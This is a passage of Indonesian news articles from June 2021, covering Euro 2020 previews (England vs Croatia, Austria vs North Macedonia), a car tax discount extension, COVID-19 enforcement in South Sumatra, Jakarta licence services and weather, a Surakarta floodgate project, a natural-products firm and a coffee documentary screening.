dua pemain sayap dan seorang nomor 10 dalam 4-2-3-1, kami memiliki pemain-pemain yang amat menarik pada slot depan yang bisa memenangi pertandingan,” kata Southgate seperti dikutip Reuters. Yang pasti akhir menyesakkan dada semifinal Piala Dunia 2018 masih menghantui Inggris, apalagi salah satu pemain Kroasia yang membuat luka Inggris siap bermain lagi walau sudah dimakan usia. Luka Modric memang sudah berusia 35 tahun, tapi dia tetap ancaman, bersama dengan mitranya yang gelandang tangguh dari Chelsea, Mateo Kovacic. “Luka itu unik, dia profesional sejati dan dia mendapatkan itu semua baik pada tingkat klub maupun internasional, dengan menjadi gelandang terbaik di dunia,” kata Kovacic. Kovacic, dan skuad Kroasia umumnya, tahu pasti mengulang skenario Moskow tiga tahun lalu di Wembley membutuhkan lebih dari romantisme karena tantangan kali ini berbeda. Tapi seperti Inggris, Kroasia juga tak kekurangan stok pemain bagus, salah satunya adalah yang harus diwaspadai Inggris, gelandang serang Inter Milan Ivan Perisic. Perisic adalah anggota skuad Kroasia yang paling sering terlibat dalam proses gol tim saat turnamen-turnamen besar, dengan tujuh gol dan 4 assist dalam Piala Dunia dan Euro. Dia satu dari tiga pemain Eropa yang selalu mencetak gol atau asisst dalam empat pertandingan turnamen besar sejak Euro 2012 selain Andres Iniesta dan Cristiano Ronaldo. Kemungkinan line-up (dikutip dari laman UEFA) Inggris 4-3-3: Jordan Pickford; Kyle Walker, John Stones, Tyrone Mings, Ben Chilwell; Kalvin Phillips, Declan Rice; Raheem Sterling, Mason Mount, Phil Foden; Harry Kane Kroasia 4-1-4-1: Dominik Livakovic; Sime Vrsaljko, Duje Caleta-Car, Damogaj Vida, Josko Gvardiol; Marcelo Brozovic; Andrej Kramaric, Luka Modric, Mateo Kovacic, Ivan Perisic; Ante Rebic Skenario pertandingan Jika prediksi line-up UEFA itu sejalan dengan yang dipasang Southgate saat kickoff Minggu pukul 20.00 WIB di Wembley nanti, maka Inggris akan tampil ofensif dan secepat mungkin mencetak gol, apalagi empat pemain pada dua per tiga terakhir lapangan mereka rata-rata haus gol. Mereka akan dibuat nyaman oleh susunan bek yang rata-rata aktif menyerang, termasuk Maguire sendiri jika masuk skuad. Seandainya Raheem Sterling, Mason Mount, Phil Foden dan Kane dipasang sebagai empat dari sebelas pemain pertama Inggris, maka Kroasia mesti waspada karena Southgate ingin secepatnya memetik buah dari anugerah dikarunia skuad yang kaya opsi serangan. Untuk menutup ketiadaan Maguire, Southgate bisa saja memasang tiga bek di mana Luke Shaw ditaruh di kiri tapi ini membuat Tyrone Mings keluar menyusul penampilan kurang mengesankan saat melawan Rumania dalam laga persahabatan. Bukayo Saka juga masih menghadapi masalah pada panggul dan ini membuat bos Three Lions harus memilih satu atau dua pemain, antara Rashford, Jadon Sancho, Sterling, Mason Mount, Grealish dan Foden untuk membantu Kane. Sudah menduga Inggris akan ofensif, Kroasia kemungkinan besar membangun sistem blok yang solid dan sekaligus serangan balik mematikan, dengan menaruh Ante Rebic sendirian di ujung depan sistem ini. “Kami tahu Inggris cepat sekali dan sangat agresif dalam serangan, mereka punya pemain-pemain top. Kami mesti merespons dengan blok yang solid, namun juga berusaha menguasai bola dan mencoba menyerang karena bertahan saja tidak bagus bagi kami,” kata pelatih Zlatko Dalic. Mengingat bek berpengalaman Dejan Lovren masih cedera, maka Domagoj Vida dan Duje Caleta-Car akan diduetkan di jantung pertahanan. Dalic juga akan mempertahankan starter melawan Belgia dalam laga persahabatan sebelum Euro 2020, termasuk Mateo Kovacic dan Modric. Tapi pilihan Rebic masih bisa diubah dengan Bruno Petkovic. Sedangkan untuk memotong suplai bola kepada Kane, Kroasia memasang Marcelo Brozovic di tengah untuk berduet dengan Kovacic yang akan membuat striker leluasa menusuk kotak penalti Inggris. Pola ini membuat Modric mendapatkan kebebasan untuk merancang peluang bagi trio serangan di belakang striker utama yang kemungkinan Andrej Kramaric, sedangkan Perisic dan Rebic menyamping mengapit Kramaric. Statistik kedua tim Laga pembuka Grup D ini adalah pertemuan ketiga antara Inggris dan Kroasia dalam Piala Eropa dan Piala Dunia. Three Lions mengalahkan Kroasia 4-2 dalam fase grup Euro 2004, sebaliknya Kroasia membalikkan kedudukan 2-1 dalam semifinal Piala Dunia 2018. Inggris sudah 10 kali lolos ke putaran final Piala Eropa namun tak pernah masuk final setelah memainkan 31 pertandingan. Inggris tidak terkalahkan di Wembley dalam pertandingan turnamen besar, yakni Piala Dunia 1966 dan Euro 1996, dengan menang tujuh kali dan seri empat kali dalam 11 pertandingan di stadion itu sebelumnya (di luar adu penalti). Ini partisipasi keenam Kroasia dalam Piala Eropa dan yang kelima secara beruntun. Sejak keikutsertaan pertama pada 1996, Kroasia tiga kali melewati fase grup dengan pencapaian terbaik mencapai perempat final 1996 dan 2008. Inggris tak pernah menang dalam pertandingan pembuka Piala Eropa, sebaliknya Kroasia tak terkalahkan dalam lima pertandingan pembuka Euro. Di luar adu penalti, Kroasia hanya kalah dua kali dalam 11 pertandingan Euro terakhirnya, dan keduanya melawan tim yang akhirnya juara, yakni Spanyol pada 2012 dan Portugal pada 2016. Inggris memiliki rasio mencetak gol per pertandingan paling tinggi selama kualifikasi Euro 2020 dibandingkan peserta-peserta Euro 2020 lainnya dengan 4,6 gol per laga. (mth)

Preview Euro 2020: Austria vs Makedonia Utara

Jakarta, FNN - Austria mungkin diguyur oleh menumpuknya talenta-talenta Bundesliga, tetapi mereka bakal dihadapkan kepada tekanan saat menghadapi underdog Makedonia Utara di Bucharest, Rumania, Minggu malam pukul 23.00 WIB nanti. Bersama Finlandia, Makedonia Utara adalah debutan Euro, yang masing-masing menjadi negara ke-34 dan ke-35 yang masuk daftar peserta putaran final Piala Eropa. Mereka akan menghadapi tim yang dalam dua edisi Euro sebelumnya pada 2008 dan 2016 mengakhiri putaran final tanpa satu kali pun menang. Tetapi calon lawannya itu dua kali mengalahkan Makedonia Utara dalam babak kualifikasi di mana seperti saat ini mereka berada dalam satu grup. Austria lolos otomatis ke putaran final karena menjadi runner up grup kualifikasi, sedangkan Makedonia Utara harus melewati playoff untuk sampai ke Euro 2020. Tetapi jangan coba-coba meremehkan Makedonia Utara karena Maret lalu mereka membuat gempar setelah menumbangkan juara Eropa tiga kali Jerman dalam pertandingan kualifikasi Piala Dunia 2022. Makedonia Utara juga menang besar 4-0 melawan Kazakhstan dan menahan seri 1-1 Slovenia dalam dua laga persahabatan persis sebelum kickoff Euro 2020. Sebaliknya Austria hanya satu kali menang dalam tiga pertandingan kualifikasi Piala Dunia 2022, termasuk digasak Denmark 0-4. Mereka juga tak bersinar dalam laga persahabatan menjelang Euro 2020 setelah kalah 0-1 dari Inggris dan ditahan seri 0-0 oleh Slowakia. Tetapi itu tidak memupus anggapan skuad Austria yang dilatih Franco Foda difavoritkan memenangkan laga pertama Grup C, sekalipun pada edisi 2008 dan 2016 mereka tak pernah bisa menang dalam laga pembuka. Austria berharap peruntungan berubah Minggu malam nanti ketika beberapa jam kemudian juga dalam Grup C akan bertanding Ukraina melawan Belanda, apalagi jimat mereka David Alaba yang malang melintang bersama Bayern Muenchen dan musim depan membela Real Madrid, 100 persen siap memimpin mereka. Fakta Austria sudah dua kali mengalahkan lawannya dalam kualifikasi Euro 2020, masing-masing 4-1 di Skopje dan 2-2 di Wina, membuat Austria hafal cara menghadapi Makedonia Utara sehingga mungkin bisa mencatat kemenangan ketiga di ibukota Rumania nanti malam itu. “Lebih memudahkan kami karena telah dua kali menghadapi mereka,” kata gelandang Austria Konrad Laimer yang juga pemain RB Leipzig seperti dikutip Reuters. “Karena mengenal lawan kami. Kami termotivasi sekali dan siap bertarung.” Tetapi menjadi debutan Euro jelas bukan status yang diinginkan tim asuhan Igor Angelovski. Makedonia Utara ingin lebih dari sekadar menembus putaran final Piala Eropa. Merdeka pada 1991, Makedonia Utara tak pernah bisa menerobos masuk turnamen besar sebelum menang 1-0 atas Georgia dalam final layoff lewat jalur Nations League yang melontarkan mereka ke turnamen ini. “Saya tak sabar menantikan pertandingan pembuka melawan Austria,” kata gelandang Enis Bardhi. “Kami tak datang ke sini untuk jadi underdog dan hanya menjadi pelengkap turnamen. Kami ada di sini guna menunjukkan kepada dunia bahwa kami mampu memainkan sepakbola yang bagus. Kami yakin bisa mencapai babak knockout.” Kemungkinan line-up (laman Euro 2020 – UEFA) Austria: Daniel Bachmann; Stefan Lainer, Aleksandar Dragovic, Martin Hinteregger, Andreas Ulmer; Konrad Laimer, Alaxander Schlager; Marcel Sabitzer, Julian Baumgartner, David Alaba; Marko Arnautovic Makedonia Utara: Stole Dimitrievski; Stefan Ristovski, Visar Musliu, Darko Velkovski, Ezgjan Alioski; Arijan Ademi, Boban Nikolov, Enis Bardi; Eljif Elmas, Goran Pandev, Aleksandar Trajkovski Skenario pertandingan Austria sering tidak konsisten kala bertanding dalam turnamen-turnamen besar, dan menjadi tugas pelatih Franco Foda untuk memupus catatan buruk itu. Seharusnya Foda mampu karena dia dianugerahi salah satu tim paling menarik dalam Euro 2020. Dipimpin David Alaba, Austria biasanya bermain fleksibel dalam formasi 4-2-3-1 di mana pemain-pemain sayap mereka acap naik membantu striker. Alaba dan mitranya di sayap kanan, Stefan Laine, akan terus mengisi peran itu setelah dimainkan berbeda dari posisinya selama bersama Bayern dengan hampir selalu beroperasi di sayap selama bersama timnas Austria. Tetapi gerak ofensif mereka acap membuat sistem empat bek mereka timpang. Untuk itu, Foda menutup ketimpangan ini dengan memasang gelandang bertahan Florian Grillitsch sebagai pelapis pertahanan sekaligus penyambung lini tengah dan serangan. Grillitsch yang bintang Hoffenheim ini adalah gelandang berorientasi bertahan yang akan melindungi duo bek tengah Martin Hinteregger dan Aleksandar Dragovic untuk membuat sistem salin warna menjadi 3-4-3 begitu tim maju menyerang. Ofensif Austria itu makin ditunjang oleh para penjelajah mumpuni di lapangan tengah seperti Xaver Schlager, Konrad Laimer dan Marcel Sabitzer di mana yang terakhir ini menjadi sosok paling kreatif di lapangan tengah Austria. Dengan formasi dua per tiga pertama lapangan yang di atas kertas kokoh ini, maka seharusnya menjadi lebih gampang bagi Sasa Kalajdzic atau Marko Arnautovic dalam menjalankan tugas sebagai ujung serangan. Bahkan Sabitzer bisa turut meruncingkan serangan Austria sekalipun dia dan Baumgartner lebih ditugaskan menjadi pemasok bola di depan pertahanan lawan. Akan halnya Makedonia Utara, menyadari kualitas lawan yang sudah dua kali mengalahkannya baik tandang maupun kandang, pelatih Igor Angelovski diperkirakan mengadopsi sistem konservatif lewat formasi 5-3-2 dengan menaruh dua sayap guna mendukung baik penyerang maupun bek, tergantung apa yang terjadi di lapangan nanti. Ezgjan Alioski dan Stefan Ristovski biasanya mengisi dua posisi bek sayap. Alioski lebih diberi kebebasan bermanuver mengingat pemain Leeds United ini piawai mengirimkan umpan dari lebar lapangan. Tetapi sepertinya Makedonia Utara akan cenderung ke belakang mengantisipasi agresi Austria dengan memasangkan tiga bek ulet Darko Velkovski, Visar Musliu dan Kire Ristevski, yang dilapis bek kanan Stefan Ristovski yang lebih berpengalaman sebagai bek. Di tengah, Stefan Spirovski dan Arijam Ademi akan berduet melindungi pertahanan dan sekaligus melapis gelandang berorientasi menyerang, Boban Nikolov, untuk akhirnya menyokong Eljif Elmas. Elmas sendiri, bersama Aleksandar Trajkovski, bakal mengapit striker utama Goran Pandev yang walau sudah berusia 37 tahun tetap mengerikan di depan gawang lawan, termasuk saat melawan Jerman dalam kualifikasi Piala Dunia 2022 itu. Statistik kedua tim Austria dan Makedonia Utara berada dalam satu grup kualifikasi Euro 2020. Austria dua kali mengalahkan Makedonia dalam fase ini. Dalam lima pertandingan terakhir masing-masing tim, Austria hanya menang satu kali dan dua kali seri, sedangkan Makedonia Utara lebih baik dengan tiga kemenangan dan sekali seri. Austria tak pernah bisa melewati fase grup dalam putaran final Euro sebelumnya. Ini turnamen besar pertama yang diikuti Makedonia Utara. Bersama Finlandia, mereka berstatus debutan dalam Euro 2020 ini. Austria sudah memainkan enam pertandingan putaran final Euro dalam fase grup tetapi tidak satu kali pun menang sehingga bagi David Alaba dkk turnamen ini juga menjadi episode upaya memecahkan telor yang tak kunjung bisa mereka lakukan sebelum ini. (mth)

Pemerintah Perpanjang Diskon 100 Persen PPnBM Kendaraan Bermotor

Jakarta, FNN - Pemerintah terus berupaya mengakselerasi pemulihan ekonomi nasional dengan menjalankan berbagai kebijakan strategis, yang salah satu upayanya melalui pemberian insentif fiskal berupa penurunan tarif Pajak Penjualan atas Barang Mewah Ditanggung Pemerintah (PPnBM DTP) untuk kendaraan bermotor. “Kementerian Keuangan sudah senada dengan kami, bahwa PPnBM DTP dapat diperpanjang. Hal ini sesuai arahan Bapak Presiden Joko Widodo, diperlukan terobosan untuk tetap menciptakan iklim usaha yang kondusif di tengah kondisi pandemi. Ini bertujuan membangkitkan kembali gairah usaha di tanah air, khususnya sektor industri, yang selama ini konsisten berkontribusi signifikan bagi perekonomian nasional,” kata Menteri Perindustrian Agus Gumiwang Kartasasmita lewat keterangannya di Jakarta, Minggu. Perpanjangan pemberian insentif PPnBM DTP diusulkan oleh Menperin dan disetujui oleh Menteri Keuangan Sri Mulyani Indarwati dalam rapat Pemulihan Ekonomi Nasional (PEN) yang dipimpin oleh Menteri Koordinator Bidang Perekonomian Airlangga Hartarto, Jumat (11/6). Kementerian Perindustrian mencatat hingga saat ini potensi sektor otomotif didukung sebanyak 21 perusahaan, dengan total kapasitas mencapai 2,35 juta unit per tahun dan serapan tenaga kerja langsungnya sebanyak 38 ribu orang. Selain itu, lebih dari 1,5 juta orang turut bekerja di sepanjang rantai nilai industri tersebut. “Artinya, industri otomotif menjadi salah satu penggerak perekonomian yang pertumbuhannya harus segera dipercepat karena industri ini melibatkan banyak pelaku usaha lokal dalam rantai produksinya mulai dari hulu hingga ke hilir,” paparnya. Sejak 1 Maret 2021, pemerintah menerapkan kebijakan PPnBM DTP terhadap pembelian mobil baru. Program ini dimulai untuk mobil penumpang 1.500cc dengan kandungan lokal tertentu. Skemanya, per tiga bulan diberlakukan perubahan potongan pajak, yakni Maret-Mei diskon 100 persen, Juli-Agustus 50 persen, dan Oktober-Desember 25 persen. Seiring perkembangan implementasi kebijakan tersebut, kinerja industri otomotif dan penjualan mobil di tanah air menunjukkan tren yang positif. “Pemerintah memang akan melakukan evaluasi per tiga bulan untuk melihat dampak dari diskon PPnBM DTP untuk pembelian mobil baru,” ungkap Agus. Pada Maret saat awal diberlakukan diskon PPnBM ini, sudah ada kenaikan penjualan mobil baru hingga 28,85 persen. Bahkan, pada April 2021, lonjakan penjualan mencapai 227 persen dibanding periode yang sama tahun 2020 lalu (year on year/yoy). Merujuk data Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo), penjualan ritel, secara akumulatif, Januari–April 2021 naik 5,9 persen yoy menjadi 257.953 unit. Secara bulanan volume penjualan ritel telah mendekati level normal atau sekitar 80.000 per bulan. Melihat respons dan efek positif tersebut, pemerintah akan melakukan perpanjangan fasilitas PPnBM DTP 100 persen untuk penjualan mobil 4x2 di bawah 1.500 cc hingga bulan Agustus 2021. Selanjutnya, periode untuk diskon PPNBM DTP 50 persen diperpanjang menjadi bulan Desember 2021. Usulan perpanjangan diskon PPNBM DTP ini sebelumnya telah disampaikan oleh Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo). “Pemerintah bisa menilai dan mengevaluasi apa yang terjadi dalam tiga bulan terakhir ini, yaitu Maret, April, dan Mei. Kalau kami melihatnya, tepat sasaran, dan semua pihak happy dengan adanya stimulus ini,” ungkap Ketua I Gaikindo, Jongkie Sugiarto. Ia menilai program diskon 100 persen PPnBM DTP ini berjalan sukses, dengan semua pihak merasa diuntungkan, baik dari segi pelaku usaha otomotif, konsumen dan pemerintah. Tak hanya para pelaku industri otomotif yang mendapatkan keuntungan dari kenaikan penjualan mobil yang signifikan, menurutnya, pemerintah pun berhasil meraih pendapatan PPN dan PPh dari meningkatnya penjualan mobil. Di sisi lain, konsumen mendapatkan kendaraan baru dengan harga yang lebih terjangkau. (mth)

Sumsel Bentuk Tim Gabungan Penegak Protokol Kesehatan

Palembang, FNN - Pemerintah Provinsi Sumatera Selatan (Sumsel) membentuk tim gabungan yang terdiri dari beberapa instansi penegak hukum untuk memastikan penerapan protokol kesehatan COVID-19 berjalan optimal. Kepala Satuan Polisi Pamong Praja (Kasat Pol PP) Aris Saputra di Palembang, Minggu, mengatakan tim yang terdiri dari personel TNI/Polri, Satpol PP, Dinas Perhubungan dan lainnya ini akan menyisir lokasi yang berpotensi menimbulkan kerumunan, seperti pasar tradisional, taman-taman hingga tempat hiburan. “Sesuai aturan yang ditetapkan pemkot, toko dan kafe maksimal buka hingga pukul 21.00 WIB, artinya jika masih ada yang buka akan kami bubarkan," kata dia. Tim Gabungan Peningkatan Disiplin dan Penegakan Hukum dalam Pengendalian Wabah Penyakit Menular (COVID-19) menggelar apel siaga di Palembang, Sabtu (12/6). Tim ini dibentuk berdasarkan dengan surat Keputusan Gubernur Sumsel terkait Peraturan Daerah (Perda) Nomor 1 Tahun 2021 tentang Peningkatan Disiplin dan Penegakan Hukum dalam Pengendalian Wabah Penyakit Menular (COVID-19) dan PergubNnomor 37 Tahun 2020 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di Sumsel. Penegakan protokol COVID-19 ini dinilai penting, karena Pemprov Sumsel kembali memperpanjang penerapan PPKM berskala mikro di wilayahnya, mulai 1 Juni-15 Juni 2021. Gubernur Sumsel Herman Deru mengatakan keputusan ini karena kasus positif COVID-19 di Sumsel masih tinggi. Penerapan PPKM berskala mikro untuk mengantisipasi penyebaran COVID-19 dan menekan laju penambahan kasus baru. Untuk itu, ia meminta agar penanganan COVID-19 dilakukan secara bersama-sama dengan melibatkan masyarakat. "Saya sudah meminta kepada bupati dan wali kota di Sumsel untuk menyusun strategi agar PPKM bisa lebih efektif, jangan mengharapkan dari pemprov saja," ujarnya. Sementara itu, kasus positif COVID-19 di Sumsel periode mingguan mengalami peningkatan 47,55 persen pada dua pekan usai Idul Fitri, dengan periode kemunculan 1.000 kasus dalam waktu enam hari. Sejak pertengahan April hingga saat ini Kota Palembang belum turun dari status zona merah atau daerah penyebaran tinggi COVID-19 meski PPKM mikro telah dijalankan. Data peta risiko COVID-19 BNPB menunjukkan Kota Palembang berstatus zona merah , sedangkan 15 kabupaten/kota lainnya zona oranye dan satu kabupaten, yakni Empat Lawang berada di zona kuning. Pada pekan pertama Juni, Kota Palembang menjadi zona merah bersama Kota Prabumulih. Zonasi kabupaten/kota lainnya cenderung berubah-ubah dibanding Kota Palembang yang stagnan. Kota pempek itu per 8 Juni 2021 telah mencatatkan total temuan sebanyak 13.444 kasus positif COVID-19 atau 53 persen dari total kasus positif di Sumsel, yakni 25.461 orang. Tingkat keterisian tempat tidur (BOR) di 18 Rumah Sakit di Kota Palembang dalam kisaran 50 persen sejak masuk zona merah, tingginya kasus bergejala (simptomatik) menjadi penyebabnya. Kendati demikian, angka kesembuhan di Kota Palembang terbilang tinggi, yakni sebanyak 11.964 orang atau 89 persen dan masih ada 892 kasus aktif hingga 8 Juni. Epidemiologi Universitas Sriwijaya Dr. Iche Andriani Liberty mengingatkan arus mobilisasi masyarakat yang keluar dan masuk perlu diawasi secara ketat karena kabupaten/kota di Sumsel stagnan di zona oranye. Pelaksanaan PPKM mikro harus dipastikan berjalan sesuai pedoman terutama proses tracing dan testing. "Konsep PPKM itu bagus, tapi pelaksanaannya yang belum optimal," kata Iche. (mth)

Polda Siapkan Dua Lokasi SIM Keliling di Jakarta

Jakarta, FNN - Polda Metro Jaya menyiapkan dua lokasi SIM Keliling untuk memudahkan masyarakat dalam memperpanjang masa berlaku Surat Izin Mengemudi (SIM), di Jakarta, Ahad. Berdasarkan data dari TMC Polda Metro Jaya, kedua lokasi SIM Keliling berada di Jalan Raden Inten samping restoran McD Duren Sawit, Jakarta Timur dan Jalan Panjang, depan BJB Kebon Jeruk, Jakarta Barat. Pelayanan SIM Keliling berlangsung mulai pukul 07.00 WIB sampai dengan pukul 12.00 WIB. Untuk dapat mengakses layanan SIM Keliling ini, masyarakat diharapkan tidak lupa melengkapi persyaratan seperti foto kopi KTP beserta KTP asli, kemudian fotokopi SIM lama dan aslinya, bukti cek kesehatan dan mengisi formulir permohonan. Layanan bus Sim Keliling hanya dapat memperpanjang SIM yang masih berlaku saja, yakni SIM A dan SIM C. Bagi SIM yang telah habis masa berlakunya, pemilik SIM harus membuat permohonan SIM baru di tempat yang telah ditentukan oleh kepolisian. Adapun untuk jenis SIM B, tidak bisa dilakukan pada layanan SIM Keliling, tapi harus diperpanjang di kantor Satpas SIM karena adanya perbedaan peruntukan dokumen. Dokumen SIM B itu diperuntukan bagi kendaraan yang juga memiliki berat lebih dari 3,5 ton. (mth)

BMKG Prediksi Hujan di Sebagian Jakarta

Jakarta, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) memprediksikan cuaca sebagian wilayah Jakarta pada Ahad siang dan sore, akan diguyur hujan. Berdasarkan data BMKG, yang dipantau di Jakarta, cuaca hujan tersebut, akan terjadi usai cuaca cerah berawan di seluruh Jakarta pada Ahad pagi ini, terkecuali di wilayah Kabupaten Kepulauan Seribu berawan di pagi hari. BMKG memperkirakan hujan dengan intensitas ringan itu akan terjadi di Jakarta Barat. Kemudian di Jakarta Selatan dan Jakarta Timur yang diprediksi juga berpotensi disertai kilat/petir dan angin kencang. Sementara di tiga wilayah Kabupaten/Kota di DKI Jakarta diprediksi akan mengalami cuaca cerah. Pada malam hari, cuaca di Jakarta diprediksi akan mendung atau berawan tebal di seluruh wilayah kabupaten/kota-nya. Hujan sendiri akan terjadi pada Senin (14/6) dini hari secara merata dengan intensitas ringan, terkecuali di Jakarta Selatan yang diprediksi bercuaca berawan tebal. Secara keseluruhan, pada Ahad ini, rentang suhu udara Jakarta akan berkisar antara 24-31 derajat celsius, dengan rincian Jakarta Barat 24-31 derajat celsius, Jakarta Pusat 25-31 derajat celsius, Jakarta Selatan 24-31 derajat celsius. Kemudian Jakarta Timur 24-31 derajat celsius, Jakarta Utara 25-31 derajat celsius dan Kepulauan Seribu 26-31 derajat celsius. Untuk kelembapan udara di Jakarta pada Ahad ini, diprediksi berkisar 75-100 persen dengan rincian Jakarta Barat 80-95 persen, Jakarta Pusat 80-95 persen, Jakarta Selatan 75-100 persen. Lalu kelembapan udara di Jakarta Timur 75-100 persen, Jakarta Utara 80-95 persen dan Kepulauan Seribu 85-90 persen. (mth)

Menteri PUPR Optimis Proyek Pintu Air Demangan Surakarta Tuntas 2021

Jakarta, FNN - Menteri Pekerjaan Umum dan Perumahan Rakyat atau PUPR Basuki Hadimuljono optimistis pembangunan Pintu Air Demangan baru di Kelurahan Sewu, Kota Surakarta rampung akhir tahun 2021. "Pembangunan Pintu Air Demangan Baru dibangun sejak Oktober 2020 dan Insyaallah akhir tahun 2021 akan selesai, untuk sekarang progres telah mencapai 68 persen," ujar Menteri Basuki dalam keterangan tertulis yang diterima di Jakarta, Minggu. Menurut Menteri Basuki, pemanfaatan pintu air berguna untuk mengatur elevasi Kali Pepe yang bermuara ke Sungai Bengawan Solo. Pompa Pintu air yang dimiliki sebanyak enam buah, namun salah satunya disediakan untuk cadangan. Kementerian PUPR melalui Balai Besar Wilayah Sungai (BBWS) Bengawan Solo tengah menyelesaikan pembangunan Pintu Air Demangan Baru berlokasi di Kelurahan Sewu, Kecamatan Jebres yang berfungsi sebagai pengendalian banjir Kali Pepe maupun pengendalian banjir Sungai Bengawan Solo di Kota Surakarta. Dibangunnya Pintu Air Demangan Baru tersebut dikarenakan tingkat kepadatan penduduk yang semakin besar menyebabkan debit Kali Pepe dan Sungai Bengawan Solo juga menjadi semakin besar. Selain itu, umur struktur bangunan Pintu Air Demangan lama yang dibangun sejak tahun 1918 tersebut telah mencapai 100 tahun sehingga kemampuan pompa tersebut sudah berkurang kerjanya. "Untuk Pintu Air Demangan yang lama akan dijadikan bangunan heritage, misalnya kita bangun ruang terbuka hijau, jembatan gantung sehingga menjadi destinasti wisata bagi warga Surakarta," terangnya. Pekerjaan pembangunan Pintu Air Demangan Baru dikerjakan dalam 2 tahap. Tahap 1 dikerjakan sejak tahun 2019 dan telah rampung, pekerjaan berupa struktur pintu, revetment, dan parapet. Adapun kontraktor pelaksana PT Duta Mas Indah-PT Bangkit Berkah Perkasa dengan anggaran sebesar Rp41,7 miliar. Tahap 2 dikerjakan sejak tahun 2020 dengan pekerjaan berupa 3 buah pintu air yang masing-masing berukuran 2,5 meter, pompa utama 6 unit masing-masing berkapasitas 2,5 meter kubik/detik, pompa lumpur 3 unit masing-masing berkapasitas 50 liter/detik, genset 4 unit (2 unit berkapasitas 1000 kVA dan 2 unit berkapasitas 80 kVA), rumah pompa, rumah jaga, dan rumah genset. Pembangunan Tahap 2 dikerjakan oleh kontraktor pelaksana PT. Minarta Dutahutama dengan anggaran sebesar Rp71 miliar. Saat ini progres pekerjaannya telah mencapai 68,6 persen dan ditargetkan akan selesai sesuai kontrak pada November 2021. (mth)

Produk Premium Alam dengan Memberdayakan Masyarakat Lokal

Jakarta, FNN - Talasi berupaya menghadirkan produk premium dari alam dengan mengeksplorasi daerah yang punya potensi pertanian baik dengan memberdayakan masyarakat melalui inovasi pertanian berkelanjutan. Tidak hanya membeli bahan pertanian dan bahan baku lain dari petani kecil, Talasi bertujuan menyediakan kehidupan lebih baik bagi masyarakat. Pendiri Talasi Alisjahbana Haliman mengatakan Talasi memiliki filosofi Discover The Origin dalam menerapkan bisnis. "The Origin tidak hanya memiliki pengertian sumber atau asal, tetapi juga awal dari sebuah kehidupan. Talasi adalah tentang eksplorasi dan menemukan potensi. Tidak hanya mengeksplorasi alam untuk menciptakan produk premium, kami juga menggali potensi masyarakat untuk semakin maju," kata dia dalam siaran resmi, Minggu. Alam dan manusia merupakan dua unsur penting untuk menciptakan ekosistem yang kuat dan berkualitas. Oleh karena itu, Talasi konsisten melakukan program pemberdayaan masyarakat mengenai rantai produksi, sistem kerja, hingga pelatihan pertanian yang dapat membantu mereka berkembang dan berkontribusi dalam upaya kami mengurangi jejak karbon dalam setiap produk. Talasi memperkenalkan laman resmi berisi tiga konten utama, yakni Products from The Origin untuk mendapat produk alam yang mereka buat, Activities at The Origin mengajak konsumen menikmati alam, dan Experience by The Origin mengajak konsumen melihat proses pembuatan produk dari masyarakat setempat. Produk alam yang disuguhkan terdiri dari dua merek produk, yakni Watu dan To-yé. Watu terdiri dari berbagai produk pangan seperti teh, kopi, madu, kacang- kacangan, hingga konsentrat dan ekstrak tumbuhan seperti vanila, jahe, dan kunyit. Sementara To-yé terdiri dari produk hand sanitizer, natural mist untuk ruangan, hingga minyak alami seperti minyak kayu putih, minyak telon untuk bayi, juga minyak untuk pijat. Petani kopi dan mitra Talasi, I Wayan Winarsa, mengapresiasi upaya memberdayakan petani lokal di daerahnya dengan penerapan pertanian berkelanjutan. "Tidak hanya memberikan banyak pengetahuan baru di bidang pertanian, kami juga memiliki pemahaman baru tentang pentingnya melestarikan lingkungan. Semoga kerja sama ini dapat terus berlanjut dan menginspirasi banyak petani lain untuk mulai menerapkan pertanian berkelanjutan yang dapat meningkatkan kualitas lingkungan sekaligus kesejahteraan hidup." Saat ini Talasi memiliki dua lokasi pemberdayaan yaitu Talasi Batukaru, Bali, dan Talasi Weetabula, Sumba. Di Talasi Bali, konsumen dapat mencoba tiga jenis aktivitas yaitu Talasi Product Journey yang menawarkan pengunjung untuk tahu lebih banyak cerita di balik layar pembuatan produk Talasi. Dalam perjalanan ini pengunjung juga dapat berbincang dengan petani dan berbagi pengalaman bersama mereka. Aktivitas selanjutnya yang dapat dipilih adalah Rainforest Walking Experience. Pengunjung dapat mengeksplorasi hutan hujan Batukaru sebagai salah satu hutan paling indah di Bali. Di hutan ini pengunjung dapat menjumpai berbagai macam tumbuhan obat, pohon buah-buahan, hingga keindahan warna burung liar. Pengunjung juga dapat merasakan kesejukan mata air alami yang terdapat di dalam hutan Barukaru. Aktivitas terakhir yang dapat dinikmati adalah Biking Experience. Pengunjung akan diajak bersepeda mengelilingi tempat indah di sekitaran Batukaru yang memiliki lanskap pegunungan dan juga laut. (mth)

Kemenparekraf Gelar Nonton Bareng Dokumenter "Legacy of Java"

Jakarta, FNN - Kementerian Pariwisata dan Ekonomi Kreatif/Badan Pariwisata dan Ekonomi Kreatif menggelar nonton bareng (nobar) pemutaran film dokumenter "Legacy of Java", yang disutradarai oleh Budi Kurniawan, di XXI Summarecon Mall Serpong, Tangerang, Banten, Sabtu (12/6). Pemutaran film dokumenter "Legacy of Java" ini adalah salah satu bagian dari acara Kopi Craft Indonesia, hasil kolaborasi Kemenparekraf dengan Summarecon Mall Serpong dalam rangka mempromosikan subsektor kuliner kopi. Sutradara Budi Kurniawan, menjelaskan film dokumenter "Legacy of Java" menceritakan tentang pemaparan yang kompleks antara hubungan manusia, alam, dan kopi Jawa. Film ini juga melibatkan banyak pihak, mulai dari petani, akademisi, sejarawan hingga seniman. "Legacy of Java diracik dari sumber literatur sampai percakapan diskusi. Dari petani, seniman, sejarawan, ilmuwan, barista, pengusaha muda dan pelaku industri kopi,” tutur Budi Kurniawan dikutip dari siaran resmi, Minggu. Budi mengatakan bahwa film “Legacy of Java” dibuat sejak Juni 2019 dengan pengambilan gambar yang melintasi pulau Jawa selama 11 hari. Lebih lanjut, ia berharap film dokumenter ini akan menjadi nutrisi visual untuk industri kopi, juga sebagai catatan penting perjalanan kopi di masa depan. "Film ini dibuat untuk melihat lebih dekat relasi antara manusia dan alam merawat keberlanjutan generasi yang akan datang. Tak hanya itu film ini dibuat agar masyarakat tahu tentang gambaran dan pembelajaran lengkap kopi Jawa ini," kata Budi. Sebelumnya, saat membuka Kopi Craft Indonesia, Menteri Pariwisata dan 